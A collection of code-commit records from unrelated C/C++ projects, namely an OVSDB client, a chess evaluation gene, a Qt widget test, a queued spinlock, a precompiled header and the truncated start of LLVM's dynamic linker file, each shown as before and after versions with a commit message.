std::string(ovsdb_wrapper_txn_get_error(txn)));\n \/\/ we don't handle the case where txn fails, when entry is not present\n \/\/ case of unicast_mac_remote entry.\n assert(entry != NULL);\n }\n client_idl->DeleteTxn(txn);\n if (entry)\n entry->Ack(success);\n}\n};\n\nOvsdbClientIdl::OvsdbClientIdl(OvsdbClientSession *session, Agent *agent,\n OvsPeerManager *manager) : idl_(ovsdb_wrapper_idl_create()),\n session_(session), agent_(agent), pending_txn_() {\n vtep_global_= ovsdb_wrapper_vteprec_global_first(idl_);\n ovsdb_wrapper_idl_set_callback(idl_, (void *)this,\n ovsdb_wrapper_idl_callback, ovsdb_wrapper_idl_txn_ack);\n parser_ = NULL;\n for (int i = 0; i < OVSDB_TYPE_COUNT; i++) {\n callback_[i] = NULL;\n }\n route_peer_.reset(manager->Allocate(IpAddress()));\n vm_interface_table_.reset(new VMInterfaceKSyncObject(this,\n (DBTable *)agent->interface_table()));\n physical_switch_table_.reset(new PhysicalSwitchTable(this));\n logical_switch_table_.reset(new LogicalSwitchTable(this,\n (DBTable *)agent->physical_device_vn_table()));\n physical_port_table_.reset(new PhysicalPortTable(this));\n physical_locator_table_.reset(new PhysicalLocatorTable(this));\n vlan_port_table_.reset(new VlanPortBindingTable(this,\n (DBTable *)agent->interface_table()));\n unicast_mac_local_ovsdb_.reset(new UnicastMacLocalOvsdb(this,\n route_peer()));\n vrf_ovsdb_.reset(new VrfOvsdbObject(this, (DBTable *)agent->vrf_table()));\n}\n\nOvsdbClientIdl::~OvsdbClientIdl() {\n ovsdb_wrapper_idl_destroy(idl_);\n}\n\nvoid OvsdbClientIdl::SendMointorReq() {\n OVSDB_TRACE(Trace, \"Sending Monitor Request\");\n SendJsonRpc(ovsdb_wrapper_idl_encode_monitor_request(idl_));\n}\n\nvoid OvsdbClientIdl::SendJsonRpc(struct jsonrpc_msg *msg) {\n struct json *json_msg = ovsdb_wrapper_jsonrpc_msg_to_json(msg);\n char *s = ovsdb_wrapper_json_to_string(json_msg, 0);\n ovsdb_wrapper_json_destroy(json_msg);\n\n session_->SendMsg((u_int8_t *)s, strlen(s));\n \/\/ release the memory allocated by ovsdb_wrapper_json_to_string\n free(s);\n}\n\nvoid OvsdbClientIdl::MessageProcess(const u_int8_t *buf, std::size_t len) {\n std::size_t used = 0;\n \/\/ Multiple json message may be clubbed together, need to keep reading\n \/\/ the buffer till whole message is consumed.\n while (used != len) {\n if (parser_ == NULL) {\n parser_ = ovsdb_wrapper_json_parser_create(0);\n }\n const u_int8_t *pkt = buf + used;\n std::size_t pkt_len = len - used;\n std::size_t read;\n read = ovsdb_wrapper_json_parser_feed(parser_, (const char *)pkt,\n pkt_len);\n OVSDB_PKT_TRACE(Trace, \"Processed: \" + std::string((const char *)pkt, read));\n used +=read;\n\n \/* If we have complete JSON, attempt to parse it as JSON-RPC. *\/\n if (ovsdb_wrapper_json_parser_is_done(parser_)) {\n struct json *json = ovsdb_wrapper_json_parser_finish(parser_);\n parser_ = NULL;\n struct jsonrpc_msg *msg;\n char *error = ovsdb_wrapper_jsonrpc_msg_from_json(json, &msg);\n if (error) {\n assert(0);\n free(error);\n \/\/continue;\n }\n\n if (ovsdb_wrapper_msg_echo_req(msg)) {\n \/* Echo request. Send reply. *\/\n struct jsonrpc_msg *reply;\n reply = ovsdb_wrapper_jsonrpc_create_reply(msg);\n SendJsonRpc(reply);\n \/\/jsonrpc_session_send(s, reply);\n } else if (ovsdb_wrapper_msg_echo_reply(msg)) {\n \/* It's a reply to our echo request. Suppress it. *\/\n } else {\n ovsdb_wrapper_idl_msg_process(idl_, msg);\n continue;\n }\n ovsdb_wrapper_jsonrpc_msg_destroy(msg);\n }\n }\n}\n\nstruct ovsdb_idl_txn *OvsdbClientIdl::CreateTxn(OvsdbEntryBase *entry) {\n struct ovsdb_idl_txn *txn = ovsdb_wrapper_idl_txn_create(idl_);\n pending_txn_[txn] = entry;\n return txn;\n}\n\nvoid OvsdbClientIdl::DeleteTxn(struct ovsdb_idl_txn *txn) {\n pending_txn_.erase(txn);\n ovsdb_wrapper_idl_txn_destroy(txn);\n}\n\nIp4Address OvsdbClientIdl::tsn_ip() {\n return session_->tsn_ip();\n}\n\nKSyncObjectManager *OvsdbClientIdl::ksync_obj_manager() {\n return session_->ksync_obj_manager();\n}\n\nOvsPeer *OvsdbClientIdl::route_peer() {\n return route_peer_.get();\n}\n\nVMInterfaceKSyncObject *OvsdbClientIdl::vm_interface_table() {\n return vm_interface_table_.get();\n}\n\nPhysicalSwitchTable *OvsdbClientIdl::physical_switch_table() {\n return physical_switch_table_.get();\n}\n\nLogicalSwitchTable *OvsdbClientIdl::logical_switch_table() {\n return logical_switch_table_.get();\n}\n\nPhysicalPortTable *OvsdbClientIdl::physical_port_table() {\n return physical_port_table_.get();\n}\n\nPhysicalLocatorTable *OvsdbClientIdl::physical_locator_table() {\n return physical_locator_table_.get();\n}\n\nVlanPortBindingTable *OvsdbClientIdl::vlan_port_table() {\n return vlan_port_table_.get();\n}\n\nUnicastMacLocalOvsdb *OvsdbClientIdl::unicast_mac_local_ovsdb() {\n return unicast_mac_local_ovsdb_.get();\n}\n\nVrfOvsdbObject *OvsdbClientIdl::vrf_ovsdb() {\n return vrf_ovsdb_.get();\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"Genes\/Pawn_Advancement_Gene.h\"\n\n#include <string>\n#include <memory>\n\n#include \"Genes\/Gene.h\"\n#include \"Game\/Board.h\"\n#include \"Pieces\/Piece.h\"\n\ndouble Pawn_Advancement_Gene::score_board(const Board& board) const\n{\n double score = 0.0;\n auto perspective = board.whose_turn();\n int home_rank = (perspective == WHITE ? 2 : 7);\n\n for(char file = 'a'; file <= 'h'; ++file)\n {\n for(int rank = 1; rank <= 8; ++rank)\n {\n auto piece = board.piece_on_square(file, rank);\n if(piece && piece->color() == perspective && piece->is_pawn())\n {\n \/\/ 1 point per move towards promotion\n score += std::abs(home_rank - rank);\n }\n }\n }\n\n \/\/ Count pawn promotions\n const auto& move_list = board.get_game_record();\n for(size_t i = (perspective == board.first_to_move() ? 0 : 1);\n i < move_list.size();\n i += 2)\n {\n if(move_list[i]->promotion_piece())\n {\n score += 6; \/\/ pawn made it to last rank\n }\n }\n\n return score\/(8*6); \/\/ normalize to 8 pawns 6 ranks from home (promotion rank)\n}\n\nstd::unique_ptr<Gene> Pawn_Advancement_Gene::duplicate() const\n{\n return std::make_unique<Pawn_Advancement_Gene>(*this);\n}\n\nstd::string Pawn_Advancement_Gene::name() const\n{\n return \"Pawn Advancement Gene\";\n}\n<commit_msg>Save work in Pawn Advancement Gene<commit_after>#include \"Genes\/Pawn_Advancement_Gene.h\"\n\n#include <string>\n#include <memory>\n\n#include \"Genes\/Gene.h\"\n#include \"Game\/Board.h\"\n#include \"Pieces\/Piece.h\"\n\ndouble Pawn_Advancement_Gene::score_board(const Board& board) const\n{\n double score = 0.0;\n auto perspective = board.whose_turn();\n int home_rank = (perspective == WHITE ? 2 : 7);\n\n for(char file = 'a'; file <= 'h'; ++file)\n {\n for(int rank = 2; rank <= 7; ++rank)\n {\n auto piece = board.piece_on_square(file, rank);\n if(piece && piece->color() == perspective && piece->is_pawn())\n {\n \/\/ 1 point per move towards promotion\n score += std::abs(home_rank - rank);\n }\n }\n }\n\n \/\/ Count pawn promotions\n const auto& move_list = board.get_game_record();\n for(size_t i = (perspective == board.first_to_move() ? 0 : 1);\n i < move_list.size();\n i += 2)\n {\n if(move_list[i]->promotion_piece())\n {\n score += 6; \/\/ pawn made it to last rank\n }\n }\n\n return score\/(8*6); \/\/ normalize to 8 pawns 6 ranks from home (promotion rank)\n}\n\nstd::unique_ptr<Gene> Pawn_Advancement_Gene::duplicate() const\n{\n return std::make_unique<Pawn_Advancement_Gene>(*this);\n}\n\nstd::string Pawn_Advancement_Gene::name() const\n{\n return \"Pawn Advancement Gene\";\n}\n<|endoftext|>"} {"text":"<commit_before>\r\n\/*!\r\n\t\\file\r\n\r\n\t\\author Igor Mironchik (igor.mironchik at gmail dot com).\r\n\r\n\tCopyright (c) 2014 Igor Mironchik\r\n\r\n\tPermission is hereby granted, free of charge, to any person\r\n\tobtaining a copy of this software and associated documentation\r\n\tfiles (the \"Software\"), to deal in the Software without\r\n\trestriction, including without limitation the rights to use,\r\n\tcopy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\tcopies of the Software, and to permit persons to whom the\r\n\tSoftware is furnished to do so, subject to the following\r\n\tconditions:\r\n\r\n\tThe above copyright notice and this permission notice shall be\r\n\tincluded in all copies or substantial portions of the Software.\r\n\r\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n\tEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\r\n\tOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n\tNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\r\n\tHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\r\n\tWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n\tFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\r\n\tOTHER DEALINGS IN THE SOFTWARE.\r\n*\/\r\n\r\n\/\/ Qt include.\r\n#include <QObject>\r\n#include <QtTest\/QtTest>\r\n#include <QSharedPointer>\r\n\r\n\/\/ QtMWidgets include.\r\n#include <QtMWidgets\/PageControl>\r\n#include <QtMWidgets\/FingerGeometry>\r\n\r\n\r\nclass TestPageControl\r\n\t:\tpublic QObject\r\n{\r\n\tQ_OBJECT\r\n\r\nprivate slots:\r\n\r\n\tvoid initTestCase()\r\n\t{\r\n\t\tm_btnSize = QtMWidgets::FingerGeometry::width() * 0.3 \/ 2 * 3;\r\n\t}\r\n\r\n\tvoid testBusy()\r\n\t{\r\n\t\tQtMWidgets::PageControl p;\r\n\r\n\t\tp.resize( m_btnSize * 3, m_btnSize * 4 );\r\n\t\tp.show();\r\n\r\n\t\tQVERIFY( QTest::qWaitForWindowActive( &p ) );\r\n\r\n\t\tp.setPageIndicatorColor( Qt::red );\r\n\t\tp.setCurrentPageIndicatorColor( Qt::red );\r\n\r\n\t\tQVERIFY( p.pageIndicatorColor() == Qt::red );\r\n\t\tQVERIFY( p.currentPageIndicatorColor() == Qt::red );\r\n\r\n\t\tp.setCount( 10 );\r\n\r\n\t\tp.setCurrentIndex( 4 );\r\n\r\n\t\tQVERIFY( p.count() == 10 );\r\n\t\tQVERIFY( p.currentIndex() == 4 );\r\n\r\n\t\tQTest::mouseClick( &p, Qt::LeftButton, {}, QRect( 0, 0, m_btnSize, m_btnSize ).center(),\r\n\t\t\t20 );\r\n\r\n\t\tQVERIFY( p.currentIndex() == 0 );\r\n\r\n\t\tp.resize( m_btnSize * 5, m_btnSize * 2 );\r\n\r\n\t\tQTest::qWait( 50 );\r\n\r\n\t\tQSignalSpy spy( &p, &QtMWidgets::PageControl::currentChanged );\r\n\r\n\t\tQTest::mouseClick( &p, Qt::LeftButton, {},\r\n\t\t\tQRect( m_btnSize * 4, 0, m_btnSize, m_btnSize ).center(), 20 );\r\n\r\n\t\tQVERIFY( p.currentIndex() == 4 );\r\n\t\tQVERIFY( spy.count() == 1 );\r\n\t}\r\n\r\nprivate:\r\n\tint m_btnSize;\r\n};\r\n\r\n\r\nQTEST_MAIN( TestPageControl )\r\n\r\n#include \"main.moc\"\r\n<commit_msg>Fix test.<commit_after>\r\n\/*!\r\n\t\\file\r\n\r\n\t\\author Igor Mironchik (igor.mironchik at gmail dot com).\r\n\r\n\tCopyright (c) 2014 Igor Mironchik\r\n\r\n\tPermission is hereby granted, free of charge, to any person\r\n\tobtaining a copy of this software and associated documentation\r\n\tfiles (the \"Software\"), to deal in the Software without\r\n\trestriction, including without limitation the rights to use,\r\n\tcopy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\tcopies of the Software, and to permit persons to whom the\r\n\tSoftware is furnished to do so, subject to the following\r\n\tconditions:\r\n\r\n\tThe above copyright notice and this permission notice shall be\r\n\tincluded in all copies or substantial portions of the Software.\r\n\r\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n\tEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\r\n\tOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n\tNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\r\n\tHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\r\n\tWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n\tFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\r\n\tOTHER DEALINGS IN THE SOFTWARE.\r\n*\/\r\n\r\n\/\/ Qt include.\r\n#include <QObject>\r\n#include <QtTest\/QtTest>\r\n#include <QSharedPointer>\r\n\r\n\/\/ QtMWidgets include.\r\n#include <QtMWidgets\/PageControl>\r\n#include <QtMWidgets\/FingerGeometry>\r\n\r\n\r\nclass TestPageControl\r\n\t:\tpublic QObject\r\n{\r\n\tQ_OBJECT\r\n\r\nprivate slots:\r\n\r\n\tvoid initTestCase()\r\n\t{\r\n\t\tm_btnSize = QtMWidgets::FingerGeometry::width() * 0.3 \/ 2 * 3;\r\n\t}\r\n\r\n\tvoid testBusy()\r\n\t{\r\n\t\tQtMWidgets::PageControl p;\r\n\r\n\t\tp.resize( m_btnSize * 3, m_btnSize * 4 );\r\n\t\tp.show();\r\n\r\n\t\tQVERIFY( QTest::qWaitForWindowActive( &p ) );\r\n\r\n\t\tp.setPageIndicatorColor( Qt::red );\r\n\t\tp.setCurrentPageIndicatorColor( Qt::red );\r\n\r\n\t\tQVERIFY( p.pageIndicatorColor() == Qt::red );\r\n\t\tQVERIFY( p.currentPageIndicatorColor() == Qt::red );\r\n\r\n\t\tp.setCount( 10 );\r\n\r\n\t\tp.setCurrentIndex( 4 );\r\n\r\n\t\tQVERIFY( p.count() == 10 );\r\n\t\tQVERIFY( p.currentIndex() == 4 );\r\n\r\n\t\tQTest::mouseClick( &p, Qt::LeftButton, {},\r\n\t\t\tQRect( ( p.width() - m_btnSize * 3 ) \/ 2, 0, m_btnSize, m_btnSize ).center(),\r\n\t\t\t20 );\r\n\r\n\t\tQVERIFY( p.currentIndex() == 0 );\r\n\r\n\t\tp.resize( m_btnSize * 5, m_btnSize * 2 );\r\n\r\n\t\tQTest::qWait( 50 );\r\n\r\n\t\tQSignalSpy spy( &p, &QtMWidgets::PageControl::currentChanged );\r\n\r\n\t\tQTest::mouseClick( &p, Qt::LeftButton, {},\r\n\t\t\tQRect( ( p.width() - m_btnSize * 5 ) \/ 2 + m_btnSize * 4, 0,\r\n\t\t\t\tm_btnSize, m_btnSize ).center(), 20 );\r\n\r\n\t\tQVERIFY( p.currentIndex() == 4 );\r\n\t\tQVERIFY( spy.count() == 1 );\r\n\t}\r\n\r\nprivate:\r\n\tint m_btnSize;\r\n};\r\n\r\n\r\nQTEST_MAIN( TestPageControl )\r\n\r\n#include \"main.moc\"\r\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2014-2017 Michael J. Sullivan\n\/\/ Use of this source code is governed by an MIT-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef QSPINLOCK_SC_H\n#define QSPINLOCK_SC_H\n\n#include <rmc++.h>\n#include <utility>\n#include \"tagged_ptr.hpp\"\n\n#define CLEAR_RMW 1\n\nnamespace rmclib {\n\n\/\/ This is based on \"MCS locks\" and linux's qspinlocks. The key idea\n\/\/ here, and the reason for the extra complication relative to\n\/\/ ticket-taking spinlocks, is that different threads can spin-wait on\n\/\/ different locations, reducing cache contention.\n\n\/\/\/\/ BEGIN SNIP\nclass QSpinLock {\n\/\/\/\/ END SNIP\n \/\/ This should be yield() or cpu_relax() or something\n void delay() { }\n \/\/ Aligned to 256 so the CLEAR_BYTE_WRITE trick can work.\n\/\/\/\/ BEGIN SNIP\n struct alignas(256) Node {\n using Ptr = tagged_ptr<Node *>;\n rmc::atomic<Node *> next{nullptr};\n rmc::atomic<bool> ready{false};\n };\n\n rmc::atomic<Node::Ptr> tail_;\n\n\/\/\/\/ END SNIP\n void clearLowBit(rmc::atomic<Node::Ptr> &loc) {\n \/\/ We want to just xadd(-1) the thing, but C++ doesn't let us\n \/\/ because of the level of obstruction^Wabstraction that\n \/\/ tagged_ptr adds.\n \/\/\n \/\/ Or maybe what we want to do is to align Node on 256 boundaries\n \/\/ so that we can do a one byte write to clear the locked flag.\n \/\/ That is *especially* not a thing in the C++ memory model.\n#if CLEAR_RMW\n \/\/ This is probably undefined\n auto &intloc = reinterpret_cast<rmc::atomic<uintptr_t> &>(loc);\n intloc.fetch_and(~Node::Ptr::kTagBits);\n#elif CLEAR_BYTE_WRITE\n \/\/ This is certainly undefined, and only works on little endian.\n \/\/ C++ really does not have any story for mixed-size atomics\n \/\/ and mixed-size atomics are pretty funky in practice.\n \/\/ Linux does do this on some platforms, though.\n auto &byteloc = reinterpret_cast<rmc::atomic<uint8_t> &>(loc);\n byteloc = 0;\n#else\n Node::Ptr state(nullptr, 1);\n while (!loc.compare_exchange_weak(state, Node::Ptr(state, 0))) {\n }\n#endif\n }\n\/\/\/\/ BEGIN SNIP\n\n void slowpathLock(Node::Ptr oldTail) {\n \/\/ makes sure that init of me.next is prior to tail_link in\n \/\/ other thread\n VEDGE(node_init, enqueue);\n \/\/ init of me needs to be done before publishing it to\n \/\/ previous thread also\n VEDGE(node_init, tail_link);\n \/\/ Can't write self into previous node until we have read out\n \/\/ the correct previous node (which we do while enqueueing).\n XEDGE(enqueue, tail_link);\n\n LS(node_init, Node me);\n Node::Ptr curTail;\n bool newThreads;\n\n \/\/ Step one, put ourselves at the back of the queue\n for (;;) {\n Node::Ptr newTail = Node::Ptr(&me, oldTail.tag());\n\n \/\/ Enqueue ourselves...\n if (L(enqueue,\n tail_.compare_exchange_strong(oldTail, newTail))) break;\n\n \/\/ OK, maybe the whole thing is just unlocked now?\n if (oldTail == Node::Ptr(nullptr, 0)) {\n \/\/ If so, just try to take the lock and be done.\n if (tail_.compare_exchange_strong(\n oldTail, Node::Ptr(nullptr, 1)))\n goto out;\n }\n }\n\n \/\/ Need to make sure not to compete for the lock before the\n \/\/ right time. This makes sure the ordering doesn't get messed\n \/\/ up.\n XEDGE(ready_wait, lock);\n\n \/\/ Step two: OK, there is an actual queue, so link up with the old\n \/\/ tail and wait until we are at the head of the queue\n if (oldTail.ptr()) {\n \/\/ * Writing into the oldTail is safe because threads can't\n \/\/ leave unless there is no thread after them or they have\n \/\/ marked the next ready\n L(tail_link, oldTail->next = &me);\n\n while (!L(ready_wait, me.ready)) delay();\n }\n\n \/\/ Step three: wait until the lock is freed\n \/\/ We don't need a a constraint from this load; \"lock\" serves\n \/\/ to handle this just fine: lock can't succeed until we've\n \/\/ read an unlocked tail_.\n while ((curTail = tail_).tag()) {\n delay();\n }\n\n \/\/ Our lock acquisition needs to be finished before we give the\n \/\/ next thread a chance to try to acquire the lock or it could\n \/\/ compete with us for it, causing trouble.\n VEDGE(lock, signal_next);\n\n \/\/ Step four: take the lock\n for (;;) {\n assert_eq(curTail.tag(), 0);\n assert_ne(curTail.ptr(), nullptr);\n\n newThreads = curTail.ptr() != &me;\n\n \/\/ If there aren't any waiters after us, the queue is\n \/\/ empty. Otherwise, keep the old tail.\n Node *newTailP = newThreads ? curTail : nullptr;\n Node::Ptr newTail = Node::Ptr(newTailP, 1);\n\n \/\/ This can fail if new threads add themselves to the\n \/\/ queue. However, nobody else can actually *take* the\n \/\/ lock, so we'll succeed quickly.\n if (L(lock, tail_.compare_exchange_strong(curTail, newTail))) break;\n }\n\n \/\/ Step five: now that we have the lock, if any threads came\n \/\/ in after us, indicate to the next one that it is at the\n \/\/ head of the queue\n if (newThreads) {\n \/\/ Next thread might not have written itself in, yet,\n \/\/ so we have to wait.\n \/\/ Waiting for threads *after* you in the queue kind of\n \/\/ offends me, to be honest.\n Node *next;\n XEDGE(load_next, signal_next);\n while (!L(load_next, next = me.next)) delay();\n L(signal_next, next->ready = true);\n }\n\n out:\n return;\n }\n\npublic:\n void lock() {\n XEDGE(lock, out);\n \/\/ If the lock is unlocked and has no waiters, we can acquire\n \/\/ it with no fanfare. Otherwise we need to fall back to the\n \/\/ slow path.\n Node::Ptr unlocked(nullptr, 0);\n if (!L(lock,\n tail_.compare_exchange_strong(unlocked, Node::Ptr(nullptr, 1)))){\n LS(lock, slowpathLock(unlocked));\n }\n LPOST(out);\n }\n void unlock() {\n VEDGE(pre, unlock);\n LS(unlock, clearLowBit(tail_));\n }\n\n};\n\/\/\/\/ END SNIP\n\n}\n\n#endif\n<commit_msg>rename a label<commit_after>\/\/ Copyright (c) 2014-2017 Michael J. Sullivan\n\/\/ Use of this source code is governed by an MIT-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef QSPINLOCK_SC_H\n#define QSPINLOCK_SC_H\n\n#include <rmc++.h>\n#include <utility>\n#include \"tagged_ptr.hpp\"\n\n#define CLEAR_RMW 1\n\nnamespace rmclib {\n\n\/\/ This is based on \"MCS locks\" and linux's qspinlocks. The key idea\n\/\/ here, and the reason for the extra complication relative to\n\/\/ ticket-taking spinlocks, is that different threads can spin-wait on\n\/\/ different locations, reducing cache contention.\n\n\/\/\/\/ BEGIN SNIP\nclass QSpinLock {\n\/\/\/\/ END SNIP\n \/\/ This should be yield() or cpu_relax() or something\n void delay() { }\n \/\/ Aligned to 256 so the CLEAR_BYTE_WRITE trick can work.\n\/\/\/\/ BEGIN SNIP\n struct alignas(256) Node {\n using Ptr = tagged_ptr<Node *>;\n rmc::atomic<Node *> next{nullptr};\n rmc::atomic<bool> ready{false};\n };\n\n rmc::atomic<Node::Ptr> tail_;\n\n\/\/\/\/ END SNIP\n void clearLowBit(rmc::atomic<Node::Ptr> &loc) {\n \/\/ We want to just xadd(-1) the thing, but C++ doesn't let us\n \/\/ because of the level of obstruction^Wabstraction that\n \/\/ tagged_ptr adds.\n \/\/\n \/\/ Or maybe what we want to do is to align Node on 256 boundaries\n \/\/ so that we can do a one byte write to clear the locked flag.\n \/\/ That is *especially* not a thing in the C++ memory model.\n#if CLEAR_RMW\n \/\/ This is probably undefined\n auto &intloc = reinterpret_cast<rmc::atomic<uintptr_t> &>(loc);\n intloc.fetch_and(~Node::Ptr::kTagBits);\n#elif CLEAR_BYTE_WRITE\n \/\/ This is certainly undefined, and only works on little endian.\n \/\/ C++ really does not have any story for mixed-size atomics\n \/\/ and mixed-size atomics are pretty funky in practice.\n \/\/ Linux does do this on some platforms, though.\n auto &byteloc = reinterpret_cast<rmc::atomic<uint8_t> &>(loc);\n byteloc = 0;\n#else\n Node::Ptr state(nullptr, 1);\n while (!loc.compare_exchange_weak(state, Node::Ptr(state, 0))) {\n }\n#endif\n }\n\/\/\/\/ BEGIN SNIP\n\n void slowpathLock(Node::Ptr oldTail) {\n \/\/ makes sure that init of me.next is prior to tail_link in\n \/\/ other thread\n VEDGE(node_init, enqueue);\n \/\/ init of me needs to be done before publishing it to\n \/\/ previous thread also\n VEDGE(node_init, tail_link);\n \/\/ Can't write self into previous node until we have read out\n \/\/ the correct previous node (which we do while enqueueing).\n XEDGE(enqueue, tail_link);\n\n LS(node_init, Node me);\n Node::Ptr curTail;\n bool newThreads;\n\n \/\/ Step one, put ourselves at the back of the queue\n for (;;) {\n Node::Ptr newTail = Node::Ptr(&me, oldTail.tag());\n\n \/\/ Enqueue ourselves...\n if (L(enqueue,\n tail_.compare_exchange_strong(oldTail, newTail))) break;\n\n \/\/ OK, maybe the whole thing is just unlocked now?\n if (oldTail == Node::Ptr(nullptr, 0)) {\n \/\/ If so, just try to take the lock and be done.\n if (tail_.compare_exchange_strong(\n oldTail, Node::Ptr(nullptr, 1)))\n goto out;\n }\n }\n\n \/\/ Need to make sure not to compete for the lock before the\n \/\/ right time. This makes sure the ordering doesn't get messed\n \/\/ up.\n XEDGE(ready_wait, lock);\n\n \/\/ Step two: OK, there is an actual queue, so link up with the old\n \/\/ tail and wait until we are at the head of the queue\n if (oldTail.ptr()) {\n \/\/ * Writing into the oldTail is safe because threads can't\n \/\/ leave unless there is no thread after them or they have\n \/\/ marked the next ready\n L(tail_link, oldTail->next = &me);\n\n while (!L(ready_wait, me.ready)) delay();\n }\n\n \/\/ Step three: wait until the lock is freed\n \/\/ We don't need a a constraint from this load; \"lock\" serves\n \/\/ to handle this just fine: lock can't succeed until we've\n \/\/ read an unlocked tail_.\n while ((curTail = tail_).tag()) {\n delay();\n }\n\n \/\/ Our lock acquisition needs to be finished before we give the\n \/\/ next thread a chance to try to acquire the lock or it could\n \/\/ compete with us for it, causing trouble.\n VEDGE(lock, signal_next);\n\n \/\/ Step four: take the lock\n for (;;) {\n assert_eq(curTail.tag(), 0);\n assert_ne(curTail.ptr(), nullptr);\n\n newThreads = curTail.ptr() != &me;\n\n \/\/ If there aren't any waiters after us, the queue is\n \/\/ empty. Otherwise, keep the old tail.\n Node *newTailP = newThreads ? curTail : nullptr;\n Node::Ptr newTail = Node::Ptr(newTailP, 1);\n\n \/\/ This can fail if new threads add themselves to the\n \/\/ queue. However, nobody else can actually *take* the\n \/\/ lock, so we'll succeed quickly.\n if (L(lock, tail_.compare_exchange_strong(curTail, newTail))) break;\n }\n\n \/\/ Step five: now that we have the lock, if any threads came\n \/\/ in after us, indicate to the next one that it is at the\n \/\/ head of the queue\n if (newThreads) {\n \/\/ Next thread might not have written itself in, yet,\n \/\/ so we have to wait.\n \/\/ Waiting for threads *after* you in the queue kind of\n \/\/ offends me, to be honest.\n Node *next;\n XEDGE(load_next, signal_next);\n while (!L(load_next, next = me.next)) delay();\n L(signal_next, next->ready = true);\n }\n\n out:\n return;\n }\n\npublic:\n void lock() {\n XEDGE(lock, body);\n \/\/ If the lock is unlocked and has no waiters, we can acquire\n \/\/ it with no fanfare. Otherwise we need to fall back to the\n \/\/ slow path.\n Node::Ptr unlocked(nullptr, 0);\n if (!L(lock,\n tail_.compare_exchange_strong(unlocked, Node::Ptr(nullptr, 1)))){\n LS(lock, slowpathLock(unlocked));\n }\n LPOST(body);\n }\n void unlock() {\n VEDGE(pre, unlock);\n LS(unlock, clearLowBit(tail_));\n }\n\n};\n\/\/\/\/ END SNIP\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ stdafx.h : include file for standard system include files,\n\/\/ or project specific include files that are used frequently, but\n\/\/ are changed infrequently\n\/\/\n\n#pragma once\n\n#include \"targetver.hpp\"\n\n#define WIN32_LEAN_AND_MEAN \/\/ Exclude rarely-used stuff from Windows headers\n\/\/ Windows Header Files:\n\/\/ #include <windows.h>\n\n#include <SFML\/Window.hpp>\n#include <SFML\/Graphics.hpp>\n#include <SFML\/OpenGL.hpp>\n\n#include <vector>\n\n#include \"BaseBlock.hpp\"\n#include \"Block.hpp\"\n#include \"Blocks\/BlockI.hpp\"\n#include \"Blocks\/BlockJ.hpp\"\n#include \"Blocks\/BlockL.hpp\"\n#include \"Blocks\/BlockO.hpp\"\n#include \"Blocks\/BlockS.hpp\"\n#include \"Blocks\/BlockT.hpp\"\n#include \"Blocks\/BlockZ.hpp\"\n#include \"BlockChooser.hpp\"\n#include \"Field.hpp\"\n<commit_msg>Izmantot GLM matemātikas bibliotēku<commit_after>\/\/ stdafx.h : include file for standard system include files,\n\/\/ or project specific include files that are used frequently, but\n\/\/ are changed infrequently\n\/\/\n\n#pragma once\n\n#include \"targetver.hpp\"\n\n#define WIN32_LEAN_AND_MEAN \/\/ Exclude rarely-used stuff from Windows headers\n\/\/ Windows Header Files:\n\/\/ #include <windows.h>\n\n#define GLM_FORCE_RADIANS\n#include <glm\/fwd.hpp>\n#include <glm\/common.hpp>\n#include <glm\/matrix.hpp>\n#include <glm\/gtc\/matrix_transform.hpp>\n#include <glm\/gtc\/type_ptr.hpp>\n\n#include <SFML\/Window.hpp>\n#include <SFML\/Graphics.hpp>\n#include <SFML\/OpenGL.hpp>\n\n#include <vector>\n\n#include \"BaseBlock.hpp\"\n#include \"Block.hpp\"\n#include \"Blocks\/BlockI.hpp\"\n#include \"Blocks\/BlockJ.hpp\"\n#include \"Blocks\/BlockL.hpp\"\n#include \"Blocks\/BlockO.hpp\"\n#include \"Blocks\/BlockS.hpp\"\n#include \"Blocks\/BlockT.hpp\"\n#include \"Blocks\/BlockZ.hpp\"\n#include \"BlockChooser.hpp\"\n#include \"Field.hpp\"\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- DynamicLinker.cpp - Implement DynamicLinker interface -------------===\/\/\n\/\/ \n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Lightweight interface to dynamic library linking and loading, and dynamic\n\/\/ symbol lookup functionality, in whatever form the operating system\n\/\/ provides it.\n\/\/\n\/\/ Possible future extensions include support for the HPUX shl_load()\n\/\/ interface, the Mac OS X NSLinkModule() interface, and the Windows\n\/\/ LoadLibrary() interface.\n\/\/\n\/\/ Note that we assume that if dlopen() is available, then dlsym() is too.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"Support\/DynamicLinker.h\"\n#include \"Config\/dlfcn.h\"\n#include \"Config\/windows.h\"\n#include <cassert>\nusing namespace llvm;\n\nbool llvm::LinkDynamicObject (const char *filename, std::string *ErrorMessage) {\n#if defined (HAVE_DLOPEN)\n 